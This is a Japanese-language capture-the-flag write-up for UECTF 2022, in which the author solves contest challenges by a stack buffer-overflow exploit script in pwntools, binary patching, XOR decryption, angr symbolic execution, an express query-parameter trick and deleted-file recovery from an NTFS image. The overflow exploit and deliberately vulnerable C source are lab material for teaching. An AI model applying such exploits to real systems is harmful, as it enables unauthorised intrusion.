UECTF2022 writeup

Table of Contents

はじめに

2022/11/18〜20にかけて開催されたUECTF 2022にチームtaskとして参加し、正の得点を得た105チーム中19位でした。

result

問題数が多くて満足度が高かったです。開催ありがとうございました!


実は、さいきん修論に向けて研究のまとめあげをする必要があったため、簡易writeupで済ませるつもりでした。

そんな中、Twitterでstさんから次のようなリプライをいただきました。

writeupでもっとも大事なのはどうやってその解法にたどり着いたかという過程だと思っていて、
ref: https://twitter.com/st98_/status/1594324150465662976?s=20&t=XsyZiPceDMUyyl1iFWDzyg

全くもってその通りだと思いましたし、Twitterのタイムラインを追ってる時間があったらwriteupを書けそうなので書くことにしました。

ただし、writeupを書くのは、昔の自分なら思考の過程の補足が欲しいなと思った問題(PWN, REV, WEB, FORENSINCSの一部)のみです。ご容赦ください。

PWN

buffer_overflow

バッファオーバーフローを知っていますか? Do you know buffer overflow? コンパイルオプションは-fno-stack-protectorをつけています。

gcc ./bof_source.c -fno-stack-protector

nc uectf.uec.tokyo 30002

#include<stdio.h>
#include<string.h>
int debug();
int main(){
  char debug_flag,name[15];
  debug_flag='0';
  printf("What is your name?\n>");
  scanf("%s",name);
  if(debug_flag=='1'){
    debug();
  }
  printf("Hello %s.\n",name);
  return 0;
}

int debug(){
  char flag[32]="CTF{THIS_IS_NOT_TRUE_FLAG}";
  printf("[DEBUG]:flag is %s\n",flag);
}

配布ファイルを見ると、変数 debug_flag'1' になっていればFLAGが表示されることが分かります。この変数は scanf で書き込める name の直前で宣言されているため、問題名の通りbuffer overflowで上書きできることが分かります。従って、nameの15バイトを埋めて、変数 debug_flag1 (\x31) にします。

from pwn import *

def main():
    io = remote('uectf.uec.tokyo', 30002)

    payload = b"A" * 15
    payload += b'\x31'
    # print(payload)
    b = io.sendline(payload)

    io.recvline()
    print(io.recvline())

if __name__ == '__main__':
    main()

REV

A file

誰かがファイルの拡張子を消してしまった。どのような中身のファイルなのか?

Someone erased a file extension. What contents is the file?

ファイルの拡張子を消してしまったそうなので、$ file コマンドで拡張子を確認します。XZなので7-Zipで解凍します。すると、64-bitのELFファイルが出てくるので、stringsコマンドとgrepコマンドでFlagを露出させます。

$ file chall
chall: XZ compressed data
$ 7z x chall
$ file chall~
chall~: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cc6cbef9d855aa72b5673ebe2709fb27b75a6e67, for GNU/Linux 3.2.0, not stripped
$ % strings chall~ | grep UE
UECTF{Linux_c0mm4nDs_ar3_50_h3LPFU1!}

revPython

What does this pyc file do?

これは?

pyc 形式なので、 pycdc を用いて .py にします。すると、何らかのkeyとのxorを取っていることが分かります。

$ ./pycdc -o a.py ~/work/ctf/ue/revpy/a.cpython-39.pyc
$ cat a.py
# Source Generated with Decompyle++
# File: a.cpython-39.pyc (Python 3.9)

from hashlib import sha256
prefix = 'UECTF{'
user_key = input('flag: ')

def H(localvalue = None):
    return sha256(localvalue.encode('utf-8')).hexdigest()


def xor_image(data = None, key = None):
    if type(key) != 'bytes':
        key = bytes(key, 'latin1')
    return None((lambda .0 = None: for i, d in .0:
d ^ key[i % len(prefix)])(enumerate(data)))


def run():
    pass
# WARNING: Decompyle incomplete

if __name__ == '__main__':
    run()

また、同時に配布されていたファイル名が flag.jpg なのを思い出します。復元されたら jpeg になると予想し、先頭の4バイトが FF D8 FF E0 になるようにxorの値を試してみます。

$ hexdump -C flag.jpg | head -1
00000000  aa 9d bc 8f 46 38 55 46  41 56 45 79 57 46 40 57  |....F8UFAVEyWF@W|
$ python3
>>> given = [0xaa, 0x9d, 0xbc, 0x8f]
>>> jpeg = [0xff, 0xd8, 0xff, 0xe0]
>>> [chr(given[idx] ^ jpeg[idx]) for idx in range(4)]
['U', 'E', 'C', 'o']

最初の3文字が UEC になったため、keyが UECTF{であると想定して、全体にxorをしてみます。

def main():
    flag = None
    with open('flag.jpg', 'rb') as f:
        flag = f.read()

    print(flag[:6])
    key = 'UECTF{'
    ans = b''
    for i, d in enumerate(flag):
        # print(hex(d))
        dd = d ^ ord(key[i % 6])
        ans += dd.to_bytes(1, 'little')

    with open('out.jpg', 'wb') as f:
        f.write(ans)

if __name__ == '__main__':
    main()

このソルバで画像が復元でき、画像を見るとFLAGが書かれています。

ans

captainhook

haha, good luck solving this

運も実力のうち!

Radare2で静的解析してみます。“success"と表示された後に、fcn.00001330 を呼んでいますが、その関数の中身は難読化されているため、直接呼び出す方が良さそうです。

$ r2 captainhook
[0x00001240]> aaaa
[0x00001240]> s main
[0x000011a0]> pdf
            ;-- section..text:
            ; DATA XREF from entry0 @ 0x1261(r)
┌ 120: int main (int argc, char **argv, char **envp);
│           0x000011a0      f30f1efa       endbr64                     ; [16] -r-x section size 981 named .text
│           0x000011a4      4154           push r12
│           0x000011a6      e8f5020000     call fcn.000014a0
│           0x000011ab      31ff           xor edi, edi                ; time_t *timer
│           0x000011ad      e86effffff     call sym.imp.time           ; time_t time(time_t *timer)
│           0x000011b2      4889c7         mov rdi, rax                ; int seed
│           0x000011b5      e876ffffff     call sym.imp.srand          ; void srand(int seed)
│           0x000011ba      e831ffffff     call sym.imp.rand           ; int rand(void)
│           0x000011bf      4189c4         mov r12d, eax
│           0x000011c2      e829ffffff     call sym.imp.rand           ; int rand(void)
│           0x000011c7      83c003         add eax, 3
│           0x000011ca      410fafc4       imul eax, r12d
│           0x000011ce      85c0           test eax, eax
│       ┌─< 0x000011d0      7534           jne 0x1206
│       │   0x000011d2      e819ffffff     call sym.imp.rand           ; int rand(void)
│       │   0x000011d7      4189c4         mov r12d, eax
│       │   0x000011da      e811ffffff     call sym.imp.rand           ; int rand(void)
│       │   0x000011df      4183c401       add r12d, 1
│       │   0x000011e3      83c003         add eax, 3
│       │   0x000011e6      440fafe0       imul r12d, eax
│       │   0x000011ea      4585e4         test r12d, r12d
│      ┌──< 0x000011ed      7517           jne 0x1206
│      ││   0x000011ef      488d3d2a0e00.  lea rdi, str.success        ; 0x2020 ; "success" ; const char *s
│      ││   0x000011f6      e865ffffff     call sym.imp.puts           ; int puts(const char *s)
│      ││   0x000011fb      e830010000     call fcn.00001330
│      ││   ; CODE XREF from main @ 0x1216(x)
│     ┌───> 0x00001200      4489e0         mov eax, r12d
│     ╎││   0x00001203      415c           pop r12
│     ╎││   0x00001205      c3             ret
│     ╎││   ; CODE XREFS from main @ 0x11d0(x), 0x11ed(x)
│     ╎└└─> 0x00001206      488d3d1b0e00.  lea rdi, str.failure        ; 0x2028 ; "failure" ; const char *s
│     ╎     0x0000120d      4183ccff       or r12d, 0xffffffff         ; -1
│     ╎     0x00001211      e84affffff     call sym.imp.puts           ; int puts(const char *s)
└     └───< 0x00001216      ebe8           jmp 0x1200
[0x000014a0]> s fcn.00001330
[0x00001330]> pdf
        ╎   ; CALL XREF from main @ 0x11fb(x)
┌ 356: fcn.00001330 ();
│       ╎   ; var int64_t var_10h @ rsp+0x10
│       ╎   ; var int64_t var_20h @ rsp+0x20
│       ╎   ; var int64_t var_24h @ rsp+0x24
│       ╎   ; var int64_t var_28h @ rsp+0x28
│       ╎   0x00001330      f30f1efa       endbr64
│       ╎   0x00001334      53             push rbx
│       ╎   0x00001335      4883ec30       sub rsp, 0x30
│       ╎   0x00001339      64488b042528.  mov rax, qword fs:[0x28]
│       ╎   0x00001342      4889442428     mov qword [var_28h], rax
│       ╎   0x00001347      31c0           xor eax, eax
│       ╎   0x00001349      0fb605e02c00.  movzx eax, byte [0x00004030] ; [0x4030:1]=0
│       ╎   0x00001350      84c0           test al, al
│      ┌──< 0x00001352      742c           je 0x1380
│      │╎   ; CODE XREFS from fcn.00001330 @ 0x138e(x), 0x1491(x)
│    ┌┌───> 0x00001354      488b442428     mov rax, qword [var_28h]
│    ╎╎│╎   0x00001359      644833042528.  xor rax, qword fs:[0x28]
│   ┌─────< 0x00001362      0f852e010000   jne 0x1496
│   │╎╎│╎   0x00001368      488b3dc92c00.  mov rdi, qword [0x00004038] ; [0x4038:8]=0
│   │╎╎│╎   0x0000136f      4883c430       add rsp, 0x30
│   │╎╎│╎   0x00001373      5b             pop rbx
│   │╎╎│└─< 0x00001374      e9e7fdffff     jmp sym.imp.puts
..
│   │╎╎│    ; CODE XREF from fcn.00001330 @ 0x1352(x)
│   │╎╎└──> 0x00001380      488d3da92c00.  lea rdi, [0x00004030]
│   │╎╎     0x00001387      e8f4fdffff     call sym.imp.__cxa_guard_acquire
│   │╎╎     0x0000138c      85c0           test eax, eax
│   │└────< 0x0000138e      74c4           je 0x1354
│   │ ╎     0x00001390      660f6f05980c.  movdqa xmm0, xmmword [0x00002030]
│   │ ╎     0x00001398      c644242445     mov byte [var_24h], 0x45    ; 'E'
│   │ ╎                                                                ; [0x45:1]=0
│   │ ╎     0x0000139d      c744242064a0.  mov dword [var_20h], 0x5876a064 ; [0x5876a064:4]=-1
│   │ ╎     0x000013a5      64488b1c2500.  mov rbx, qword fs:[0]
│   │ ╎     0x000013ae      0f290424       movaps xmmword [rsp], xmm0
│   │ ╎     0x000013b2      660f6f05860c.  movdqa xmm0, xmmword [0x00002040]
│   │ ╎     0x000013ba      0f29442410     movaps xmmword [var_10h], xmm0
│   │ ╎     0x000013bf      64803c25d0ff.  cmp byte fs:[0xffffffffffffffd0], 0
│   │ ╎ ┌─< 0x000013c8      755e           jne 0x1428
│   │ ╎ │   0x000013ca      64c60425fdff.  mov byte fs:[0xfffffffffffffffd], 1
│   │ ╎ │   0x000013d3      660f6f0c24     movdqa xmm1, xmmword [rsp]
│   │ ╎ │   0x000013d8      488db3d8ffff.  lea rsi, [rbx - 0x28]
│   │ ╎ │   0x000013df      488d15222c00.  lea rdx, [0x00004008]
│   │ ╎ │   0x000013e6      488d3d030100.  lea rdi, [fcn.000014f0]     ; 0x14f0
│   │ ╎ │   0x000013ed      640f110c25d8.  movups xmmword fs:[0xffffffffffffffd8], xmm1
│   │ ╎ │   0x000013f6      660f6f542410   movdqa xmm2, xmmword [var_10h]
│   │ ╎ │   0x000013fc      64c70425f8ff.  mov dword fs:[0xfffffffffffffff8], 0x5876a064 ; [0x5876a064:4]=-1
│   │ ╎ │   0x00001408      64c60425fcff.  mov byte fs:[0xfffffffffffffffc], 0x45 ; 'E'
│   │ ╎ │                                                              ; [0x45:1]=0
│   │ ╎ │   0x00001411      64c60425d0ff.  mov byte fs:[0xffffffffffffffd0], 1
│   │ ╎ │   0x0000141a      640f111425e8.  movups xmmword fs:[0xffffffffffffffe8], xmm2
│   │ ╎ │   0x00001423      e848fdffff     call sym.imp.__cxa_thread_atexit
│   │ ╎ │   ; CODE XREF from fcn.00001330 @ 0x13c8(x)
│   │ ╎ └─> 0x00001428      64803c25fdff.  cmp byte fs:[0xfffffffffffffffd], 0
│   │ ╎ ┌─< 0x00001431      7444           je 0x1477
│   │ ╎ │   0x00001433      31c0           xor eax, eax
│   │ ╎ │   0x00001435      488d93d8ffff.  lea rdx, [rbx - 0x28]
│   │ ╎ │   0x0000143c      48be0dd34925.  movabs rsi, 0x656173452549d30d
│   │ ╎ │   0x00001446      662e0f1f8400.  nop word cs:[rax + rax]
│   │ ╎ │   ; CODE XREF from fcn.00001330 @ 0x146c(x)
│   │ ╎┌──> 0x00001450      4889c1         mov rcx, rax
│   │ ╎╎│   0x00001453      4889f7         mov rdi, rsi
│   │ ╎╎│   0x00001456      83e107         and ecx, 7
│   │ ╎╎│   0x00001459      48c1e103       shl rcx, 3
│   │ ╎╎│   0x0000145d      48d3ef         shr rdi, cl
│   │ ╎╎│   0x00001460      40303c10       xor byte [rax + rdx], dil
│   │ ╎╎│   0x00001464      4883c001       add rax, 1
│   │ ╎╎│   0x00001468      4883f825       cmp rax, 0x25
│   │ ╎└──< 0x0000146c      75e2           jne 0x1450
│   │ ╎ │   0x0000146e      64c60425fdff.  mov byte fs:[0xfffffffffffffffd], 0
│   │ ╎ │   ; CODE XREF from fcn.00001330 @ 0x1431(x)
│   │ ╎ └─> 0x00001477      4881c3d8ffff.  add rbx, 0xffffffffffffffd8
│   │ ╎     0x0000147e      488d3dab2b00.  lea rdi, [0x00004030]
│   │ ╎     0x00001485      48891dac2b00.  mov qword [0x00004038], rbx ; [0x4038:8]=0
│   │ ╎     0x0000148c      e86ffcffff     call sym.imp.__cxa_guard_release
│   │ └───< 0x00001491      e9befeffff     jmp 0x1354
│   │       ; CODE XREF from fcn.00001330 @ 0x1362(x)
└   └─────> 0x00001496      e8a5fcffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)

逆アセンブル結果を見ると、0x000011d0 及び 0x000011edjne 命令を逆の意味である je 命令に置き換えてやれば良さそうです。je命令は機械語で 0x74 なので、2つの部分をそれぞれ 0x74 に書き換えます。

$ hexedit captainhook
(snip)
000011BC   FF FF FF 41  89 C4 E8 29  FF FF FF 83  C0 03 41 0F  AF C4 85 C0  ...A...)......A.....
000011D0   74 34 E8 19  FF FF FF 41  89 C4 E8 11  FF FF FF 41  83 C4 01 83  t4.....A.......A....
000011E4   C0 03 44 0F  AF E0 45 85  E4 74 17 48  8D 3D 2A 0E  00 00 E8 65  ..D...E..t.H.=*....e
000011F8   FF FF FF E8  30 01 00 00  44 89 E0 41  5C C3 48 8D  3D 1B 0E 00  ....0...D..A\.H.=...
0000120C   00 41 83 CC  FF E8 4A FF  FF FF EB E8  0F 1F 84 00  00 00 00 00  .A....J.............
00001220   F3 0F 1E FA  0F AE 5C 24  FC 81 4C 24  FC 40 80 00  00 0F AE 54  ......\$[email protected]
00001234   24 FC C3 66  0F 1F 84 00  00 00 00 00  F3 0F 1E FA  31 ED 49 89  $..f............1.I.
00001248   D1 5E 48 89  E2 48 83 E4  F0 50 54 4C  8D 05 16 03  00 00 48 8D  .^H..H...PTL......H.
0000125C   0D 9F 02 00  00 48 8D 3D  38 FF FF FF  FF 15 7A 2D  00 00 F4 90  .....H.=8.....z-....
00001270   48 8D 3D 99  2D 00 00 48  8D 05 92 2D  00 00 48 39  F8 74 15 48  H.=.-..H...-..H9.t.H
00001284   8B 05 56 2D  00 00 48 85  C0 74 09 FF  E0 0F 1F 80  00 00 00 00  ..V-..H..t..........
00001298   C3 0F 1F 80  00 00 00 00  48 8D 3D 69  2D 00 00 48  8D 35 62 2D  ........H.=i-..H.5b-
000012AC   00 00 48 29  FE 48 89 F0  48 C1 EE 3F  48 C1 F8 03  48 01 C6 48  ..H).H..H..?H...H..H
000012C0   D1 FE 74 14  48 8B 05 2D  2D 00 00 48  85 C0 74 08  FF E0 66 0F  ..t.H..--..H..t...f.
000012D4   1F 44 00 00  C3 0F 1F 80  00 00 00 00  F3 0F 1E FA  80 3D 3D 2D  .D...............==-
000012E8   00 00 00 75  2B 55 48 83  3D E2 2C 00  00 00 48 89  E5 74 0C 48  ...u+UH.=.,...H..t.H
---  captainhook       --0x11D0/0x38D0----------------------------------------------------------

これでFlagが取れました。

$ ./captainhook
success
UECTF{hmmmm_how_did_you_solve_this?}

discreate

Jumping around in memory

記憶の中でジャンプする

ひとまずRadare2で静的解析します。難読化されていてmainが非常に大きいので、一部抜粋します。

$ r2 chall 
[0x00001100]> aaaa
[0x00001100]> s main
[0x000011e9]> pdf
Do you want to print 1202 lines? (y/N) y
(snip)
│           0x00001fff      4889c7         mov rdi, rax                ; const char *s
│           0x00002002      e8b9f0ffff     call sym.imp.strlen         ; size_t strlen(const char *s)
│           0x00002007      4883f822       cmp rax, 0x22
│       ┌─< 0x0000200b      741b           je 0x2028
│       │   0x0000200d      488d3dfa0f00.  lea rdi, str.invalid_input_length ; 0x300e ; "invalid input length" ; const char *format
│       │   0x00002014      b800000000     mov eax, 0
│       │   0x00002019      e8c2f0ffff     call sym.imp.printf         ; int printf(const char *format)
│       │   0x0000201e      b8ffffffff     mov eax, 0xffffffff         ; -1
│      ┌──< 0x00002023      e939010000     jmp 0x2161
│      ││   ; CODE XREF from main @ 0x200b(x)
│      │└─> 0x00002028      488d8590fdff.  lea rax, [s]
│      │    0x0000202f      4889c7         mov rdi, rax                ; const char *s
│      │    0x00002032      e889f0ffff     call sym.imp.strlen         ; size_t strlen(const char *s)
│      │    0x00002037      48baabaaaaaa.  movabs rdx, 0xaaaaaaaaaaaaaaab
│      │    0x00002041      48f7e2         mul rdx
│      │    0x00002044      4889d0         mov rax, rdx
│      │    0x00002047      48d1e8         shr rax, 1
│      │    0x0000204a      ba01000000     mov edx, 1
│      │    0x0000204f      89c1           mov ecx, eax
│      │    0x00002051      d3e2           shl edx, cl
│      │    0x00002053      89d0           mov eax, edx
│      │    0x00002055      898558fdffff   mov dword [var_2a8h], eax
│      │    0x0000205b      c7855cfdffff.  mov dword [var_2a4h], 0
│      │┌─< 0x00002065      e9a9000000     jmp 0x2113
│      ││   ; CODE XREF from main @ 0x212e(x)
│     ┌───> 0x0000206a      8b855cfdffff   mov eax, dword [var_2a4h]
│     ╎││   0x00002070      4898           cdqe
│     ╎││   0x00002072      488d9590fdff.  lea rdx, [s]
│     ╎││   0x00002079      488d0c02       lea rcx, [rdx + rax]
│     ╎││   0x0000207d      8b855cfdffff   mov eax, dword [var_2a4h]
│     ╎││   0x00002083      4863d0         movsxd rdx, eax
│     ╎││   0x00002086      4869d2565555.  imul rdx, rdx, 0x55555556
│     ╎││   0x0000208d      48c1ea20       shr rdx, 0x20
│     ╎││   0x00002091      c1f81f         sar eax, 0x1f
│     ╎││   0x00002094      89d6           mov esi, edx
│     ╎││   0x00002096      29c6           sub esi, eax
│     ╎││   0x00002098      89f0           mov eax, esi
│     ╎││   0x0000209a      4898           cdqe
│     ╎││   0x0000209c      8b848560fdff.  mov eax, dword [rbp + rax*4 - 0x2a0]
│     ╎││   0x000020a3      4898           cdqe
│     ╎││   0x000020a5      488d95d0fdff.  lea rdx, [n]
│     ╎││   0x000020ac      4801d0         add rax, rdx
│     ╎││   0x000020af      ba03000000     mov edx, 3                  ; size_t n
│     ╎││   0x000020b4      4889ce         mov rsi, rcx                ; const char *s2
│     ╎││   0x000020b7      4889c7         mov rdi, rax                ; const char *s1
│     ╎││   0x000020ba      e8e1efffff     call sym.imp.strncmp        ; int strncmp(const char *s1, const char *s2, size_t n)
│     ╎││   0x000020bf      85c0           test eax, eax
│    ┌────< 0x000020c1      7443           je 0x2106
│    │╎││   0x000020c3      8b8d5cfdffff   mov ecx, dword [var_2a4h]
│    │╎││   0x000020c9      4863c1         movsxd rax, ecx
│    │╎││   0x000020cc      4869c0565555.  imul rax, rax, 0x55555556
│    │╎││   0x000020d3      48c1e820       shr rax, 0x20
│    │╎││   0x000020d7      4889c2         mov rdx, rax
│    │╎││   0x000020da      89c8           mov eax, ecx
│    │╎││   0x000020dc      c1f81f         sar eax, 0x1f
│    │╎││   0x000020df      89d3           mov ebx, edx
│    │╎││   0x000020e1      29c3           sub ebx, eax
│    │╎││   0x000020e3      89d8           mov eax, ebx
│    │╎││   0x000020e5      89c2           mov edx, eax
│    │╎││   0x000020e7      01d2           add edx, edx
│    │╎││   0x000020e9      01c2           add edx, eax
│    │╎││   0x000020eb      89c8           mov eax, ecx
│    │╎││   0x000020ed      29d0           sub eax, edx
│    │╎││   0x000020ef      85c0           test eax, eax
│   ┌─────< 0x000020f1      7513           jne 0x2106
│   ││╎││   0x000020f3      488d3d290f00.  lea rdi, str.Wrong_         ; 0x3023 ; "Wrong!" ; const char *s
│   ││╎││   0x000020fa      e8b1efffff     call sym.imp.puts           ; int puts(const char *s)
│   ││╎││   0x000020ff      b8ffffffff     mov eax, 0xffffffff         ; -1
│  ┌──────< 0x00002104      eb5b           jmp 0x2161
│  │││╎││   ; CODE XREFS from main @ 0x20c1(x), 0x20f1(x)
│  │└└────> 0x00002106      d1bd58fdffff   sar dword [var_2a8h], 1
│  │  ╎││   0x0000210c      83855cfdffff.  add dword [var_2a4h], 1
│  │  ╎││   ; CODE XREF from main @ 0x2065(x)
│  │  ╎│└─> 0x00002113      8b855cfdffff   mov eax, dword [var_2a4h]
│  │  ╎│    0x00002119      4863d8         movsxd rbx, eax
│  │  ╎│    0x0000211c      488d8590fdff.  lea rax, [s]
│  │  ╎│    0x00002123      4889c7         mov rdi, rax                ; const char *s
│  │  ╎│    0x00002126      e895efffff     call sym.imp.strlen         ; size_t strlen(const char *s)
│  │  ╎│    0x0000212b      4839c3         cmp rbx, rax
│  │  └───< 0x0000212e      0f8236ffffff   jb 0x206a
│  │   │    0x00002134      83bd58fdffff.  cmp dword [var_2a8h], 0
│  │   │┌─< 0x0000213b      7513           jne 0x2150
│  │   ││   0x0000213d      488d3de60e00.  lea rdi, str.Correct_       ; 0x302a ; "Correct!" ; const char *s
│  │   ││   0x00002144      e867efffff     call sym.imp.puts           ; int puts(const char *s)
│  │   ││   0x00002149      b800000000     mov eax, 0
│  │  ┌───< 0x0000214e      eb11           jmp 0x2161
│  │  │││   ; CODE XREF from main @ 0x213b(x)
│  │  ││└─> 0x00002150      488d3dcc0e00.  lea rdi, str.Wrong_         ; 0x3023 ; "Wrong!" ; const char *s
│  │  ││    0x00002157      e854efffff     call sym.imp.puts           ; int puts(const char *s)
│  │  ││    0x0000215c      b8ffffffff     mov eax, 0xffffffff         ; -1
│  │  ││    ; CODE XREFS from main @ 0x2023(x), 0x2104(x), 0x214e(x)
│  └──└└──> 0x00002161      488b75e8       mov rsi, qword [canary]
│           0x00002165      644833342528.  xor rsi, qword fs:[0x28]
│       ┌─< 0x0000216e      7405           je 0x2175
│       │   0x00002170      e85befffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│       │   ; CODE XREF from main @ 0x216e(x)
│       └─> 0x00002175      4881c4a80200.  add rsp, 0x2a8
│           0x0000217c      5b             pop rbx
│           0x0000217d      5d             pop rbp
└           0x0000217e      c3             ret

どうやら、正しい入力の時に Correct!、誤った入力の時に Wrong!と表示されるようです。このように、入力を探索するのはangrによるシンボリック実行が効果的です。 

import angr

p = angr.Project("./chall", load_options={'auto_load_libs': False})

simgr = p.factory.simgr()
ss = simgr.explore(find=lambda s:b"Correct!" in s.posix.dumps(1))
print(ss.found[0].posix.dumps(0))

実行するとFlagが取れます。

$ python3 solve.py 
WARNING | 2022-11-20 23:36:34,316 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
WARNING | 2022-11-20 23:36:34,324 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory with an unspecified value. This could indicate unwanted behavior.
WARNING | 2022-11-20 23:36:34,324 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2022-11-20 23:36:34,324 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2022-11-20 23:36:34,324 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2022-11-20 23:36:34,324 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2022-11-20 23:36:34,324 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff8c with 4 unconstrained bytes referenced from 0x401109 (PLT.__isoc99_scanf+0x19 in chall (0x1109))
WARNING | 2022-11-20 23:36:34,994 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefd2d with 3 unconstrained bytes referenced from 0x500018 (strlen+0x0 in extern-address space (0x18))
WARNING | 2022-11-20 23:36:43,582 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff70 with 8 unconstrained bytes referenced from 0x500008 (strncmp+0x0 in extern-address space (0x8))
b'UECTF{dynamic_static_strings_2022}\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01@\x01\x04\x01\x01'

WEB

webapi

サーバーからフラグを取ってきて表示する web ページを作ったけど、上手く動かないのはなんでだろう?

I created a web page that fetches flags from the server and displays them, but why doesn’t it work?

対象ページにアクセスしてソースコードを見ると、ページのfetchに失敗して server error になっていることが分かります。

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
</head>
<body>
  <h1>Hello world!</h1>
  <div class="flag">
    <span class="flag-label">Flag is here:</span>
    <span class="flag-data"></span>
  </div>
</body>

<script>
  const FLAG_URL = 'https://(snip).ap-northeast-1.on.aws/';
  fetch(FLAG_URL)
    .then(data => {
      document.getElementsByClassName('flag-data')[0].innerText = data;
    })
    .catch(err => {
      document.getElementsByClassName('flag-data')[0].innerText = 'server error';
    })
</script>
</html>

FLAG_URLに直接アクセスすると、FLAGが得られます。

flag

request-validation

GET リクエストでオブジェクトを送ることはできますか? ※ まずは、自分の環境でフラグ取得を確認してください。

Can you request a object?

First, please check the flag acquisition in your environment.

配布ファイルを見ると、expressのquery parameterの型を object にすれば良いそうです。

require('dotenv').config();
const express = require('express')
const app = express()
const PORT = process.env.PORT || 8080;

app.listen(PORT, () => {
  console.log(`Example app listening on port ${PORT}`)
})

const FLAG = process.env.FLAG || 'flag{dummy_flag}'

app.get('/', (req, res) => {
  console.log(req.query.q)
  console.log(typeof req.query.q)
  if (req.query.q && typeof req.query.q === 'object') {
    res.send(FLAG)
  } else {
    res.send('invalid request')
  }
})

query parameterといえば、先日開催されたSECCON ONLINE CTF QualsのSkipinxが思い浮かびます。その時ガチャガチャしていた時に、ListやMapを送れることを思い出しました。

従って、Query ParameterにListとして認識させてみます。

list

ちなみに、MapでもObjectなのでOKでした。

map

FORENSICS

Deleted

USBメモリに保存してたフラグの情報消しちゃった。このイメージファイルからどうにか取り出せないものか…

I have deleted the flag information I saved on my USB stick. I wonder if there is any way to retrieve it from this image file…

対象ファイルを見ると、DOS/MBR boot sectorNTFSからWindows系のイメージらしきことが分かります。

$ file image.raw
image.raw: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS    ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 63, heads 255, hidden sectors 2048, dos < 4.0 BootSector (0x0), FAT (1Y bit by descriptor); NTFS, sectors/track 63, physical drive 0x80, sectors 16383, $MFT start cluster 682, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 06e8081f48081c357; contains bootstrap BOOTMGR

中身を見るためにググってみると、以下のwriteup記事がヒットします。

内容を読むと、 DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS "(略) という似たような文面が見つかるため、その後の作業を真似しながら進めます。

$ fls image.raw 
r/r 4-128-1:	$AttrDef
r/r 8-128-2:	$BadClus
r/r 8-128-1:	$BadClus:$Bad
r/r 6-128-4:	$Bitmap
r/r 7-128-1:	$Boot
d/d 11-144-4:	$Extend
r/r 2-128-1:	$LogFile
r/r 0-128-6:	$MFT
r/r 1-128-1:	$MFTMirr
r/r 9-128-8:	$Secure:$SDS
r/r 9-144-11:	$Secure:$SDH
r/r 9-144-5:	$Secure:$SII
r/r 10-128-1:	$UpCase
r/r 10-128-4:	$UpCase:$Info
r/r 3-128-3:	$Volume
r/r 41-128-1:	mv_ARIMjapan_pc.jpg
r/r 41-128-3:	mv_ARIMjapan_pc.jpg:Zone.Identifier
r/r 44-128-1:	mv_choufusai2022_pc.png
r/r 44-128-3:	mv_choufusai2022_pc.png:Zone.Identifier
r/r 48-128-1:	mv_corona_pc.jpg
r/r 48-128-3:	mv_corona_pc.jpg:Zone.Identifier
r/r 46-128-1:	mv_oc2022-2-1_pc.tif
r/r 46-128-3:	mv_oc2022-2-1_pc.tif:Zone.Identifier
d/d 34-144-1:	System Volume Information
r/r 36-128-1:	uec.png
r/r 36-128-3:	uec.png:Zone.Identifier
r/r 45-128-1:	uec_ukraine_pc.jpg
r/r 45-128-3:	uec_ukraine_pc.jpg:Zone.Identifier
-/r * 37-128-1:	test1.txt
-/r * 39-128-1:	flag.png
-/r * 40-128-1:	uec.bmp
-/r * 42-128-1:	mv_ARIMjapan_pc.png
-/r * 42-128-3:	mv_ARIMjapan_pc.png:Zone.Identifier
-/r * 43-128-1:	mv_choufusai2022_pc.jpg
-/r * 43-128-3:	mv_choufusai2022_pc.jpg:Zone.Identifier
-/r * 47-128-1:	mv_oc2022-2-1_pc.jpg
-/r * 47-128-3:	mv_oc2022-2-1_pc.jpg:Zone.Identifier
-/r * 49-128-1:	uec.gif
-/r * 49-128-3:	uec.gif:Zone.Identifier
-/r * 50-128-1:	uec.jpg
-/r * 50-128-3:	uec.jpg:Zone.Identifier
-/r * 51-128-1:	uec.tif
-/r * 51-128-3:	uec.tif:Zone.Identifier
V/V 256:	$OrphanFiles
$ icat image.raw 39-128-1 > flag.png

flag.pngを開くと、以下の通りFlagが書かれています。

flag

おわりに

手抜きwriteupで済ませようとしてしまい、恥ずかしい限りです。
ひとまず、知っていれば解けるような “やるだけ” 問題以外で、私が解けた問題のwriteupを書いたつもりです。

どなたかの参考になれば幸いです。

Posted on Nov 20, 2022